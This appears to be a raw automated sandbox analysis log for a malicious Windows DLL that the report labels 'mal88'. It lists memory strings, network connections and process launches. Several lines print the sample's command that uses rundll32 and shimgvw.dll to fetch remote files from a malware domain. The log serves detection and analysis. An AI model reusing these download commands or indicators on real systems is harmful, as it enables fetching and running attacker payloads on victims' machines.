Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008C74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtF
Source: rundll32.exe, 00000005.00000002.3286428074.000000000317A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtM
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtO
Source: rundll32.exe, 00000005.00000002.3287957318.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtPR
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtQw
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtR
Source: rundll32.exe, 00000006.00000002.3286763260.0000000003289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtT
Source: rundll32.exe, 0000000B.00000002.3286397413.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtZ
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtdT
Source: rundll32.exe, 00000006.00000002.3286763260.0000000003208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txte
Source: rundll32.exe, 0000000B.00000002.3286397413.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtentdll
Source: rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtentdll8
Source: rundll32.exe, 00000005.00000002.3286428074.0000000003170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtenth
Source: rundll32.exe, 00000006.00000002.3286763260.0000000003208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtentindowsINetCookies
Source: rundll32.exe, 00000005.00000002.3286428074.00000000031E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286397413.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtft
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtfw
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txti
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtk
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtrw
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtry
Source: rundll32.exe, 00000006.00000002.3286558558.00000000030D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3287828894.0000000003280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txts
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtt
Source: rundll32.exe, 00000005.00000002.3286428074.00000000031E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtv
Source: rundll32.exe, 00000006.00000002.3286763260.0000000003190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtx
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3289519547.0000000008F85000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CFD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtz
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogY
Source: rundll32.exe, 00000005.00000002.3286153316.0000000003037000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286159157.0000000002B77000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286150447.0000000002B37000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclogtxt
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp
Source: rundll32.exe, 00000008.00000002.3289370327.0000000008BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp$u
Source: rundll32.exe, 0000000C.00000002.3286396113.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp%
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp(
Source: rundll32.exe, 00000008.00000002.3289919472.0000000008C47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337289222.0000000008C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp)
Source: rundll32.exe, 00000007.00000002.3286915382.000000000284A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286449420.0000000002E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp0
Source: rundll32.exe, 0000000C.00000002.3286396113.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp08
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4
Source: rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4X
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4Zfrh
Source: rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4kJ
Source: rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp4s5
Source: rundll32.exe, 00000007.00000002.3286915382.000000000284A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp6
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007B2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289370327.0000000008BE3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008814000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp6634-1003
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp7
Source: rundll32.exe, 00000007.00000002.3286915382.00000000028CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp8a5
Source: rundll32.exe, 00000007.00000002.3286915382.000000000284A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmp;
Source: rundll32.exe, 0000000C.00000002.3289874951.000000000882B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpA
Source: rundll32.exe, 00000003.00000002.2054157114.0000000002880000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2053873266.0000000000390000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3286915382.0000000002840000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3286404061.00000000026D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286340448.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286449420.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286291304.0000000002990000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpC:
Source: rundll32.exe, 00000008.00000002.3289919472.0000000008C47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337289222.0000000008C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpG
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpP
Source: rundll32.exe, 00000007.00000002.3286295606.00000000026C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpPR5
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008814000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpS
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007B5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpc4u
Source: rundll32.exe, 00000007.00000002.3286915382.00000000028B9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286593843.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337436312.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpent
Source: rundll32.exe, 00000007.00000002.3286915382.00000000028CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3286593843.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337436312.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpft
Source: rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpg
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmph
Source: rundll32.exe, 00000008.00000002.3289919472.0000000008C47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337289222.0000000008C46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpmp
Source: rundll32.exe, 00000008.00000002.3289370327.0000000008BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpn
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008814000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpry
Source: rundll32.exe, 00000008.00000002.3288087591.0000000003110000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3288019449.0000000002D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmps
Source: loaddll32.exe, 00000000.00000002.2078622698.0000000000B70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpsC:
Source: rundll32.exe, 00000008.00000002.3286593843.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337436312.0000000002EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpu
Source: rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpuk
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpw
Source: rundll32.exe, 00000003.00000002.2054268818.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpxe.muiE
Source: rundll32.exe, 00000007.00000002.3289414111.0000000007B83000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B71000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007BA5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002B1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.000000000889F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/regit.tmpz
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/k
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/q

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49712 version: TLS 1.2

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B92B3BD	0_2_6B92B3BD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B93612B	0_2_6B93612B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B92B07B	0_2_6B92B07B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B93B869	0_2_6B93B869
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B92B71C	0_2_6B92B71C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B935C80	0_2_6B935C80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9EB71C	3_2_6F9EB71C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F5C80	3_2_6F9F5C80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9EB3BD	3_2_6F9EB3BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F612B	3_2_6F9F612B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9EB07B	3_2_6F9EB07B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9FB869	3_2_6F9FB869

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6B925570 appears 45 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6F9E5570 appears 45 times

Source: QEydjQdRxs.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal88.evad.winDLL@20/0@1/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:432:120:WilError_03

Source: QEydjQdRxs.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\QEydjQdRxs.dll,mydllmain

Source: QEydjQdRxs.dll

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\QEydjQdRxs.dll,mydllmain
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\QEydjQdRxs.dll,mydllmain	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: QEydjQdRxs.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B93BF81 push ecx; ret	0_2_6B93BF94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9FBF81 push ecx; ret	3_2_6F9FBF94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00446003 push ecx; iretd	4_2_00446004
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00443513 push ecx; iretd	4_2_00443514
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004461D3 push ecx; iretd	4_2_004461D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004431A3 push ecx; iretd	4_2_004431A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00446433 push ecx; iretd	4_2_00446434
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_092ED728 push ebx; retf	5_2_092ED7B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_092ED708 push ebx; retf	5_2_092ED7B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_092ED795 push ebx; retf	5_2_092ED7B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_092EFB78 pushad ; iretd	5_2_092EFB79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_07EDF9B4 push eax; iretd	7_2_07EDF9BD

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

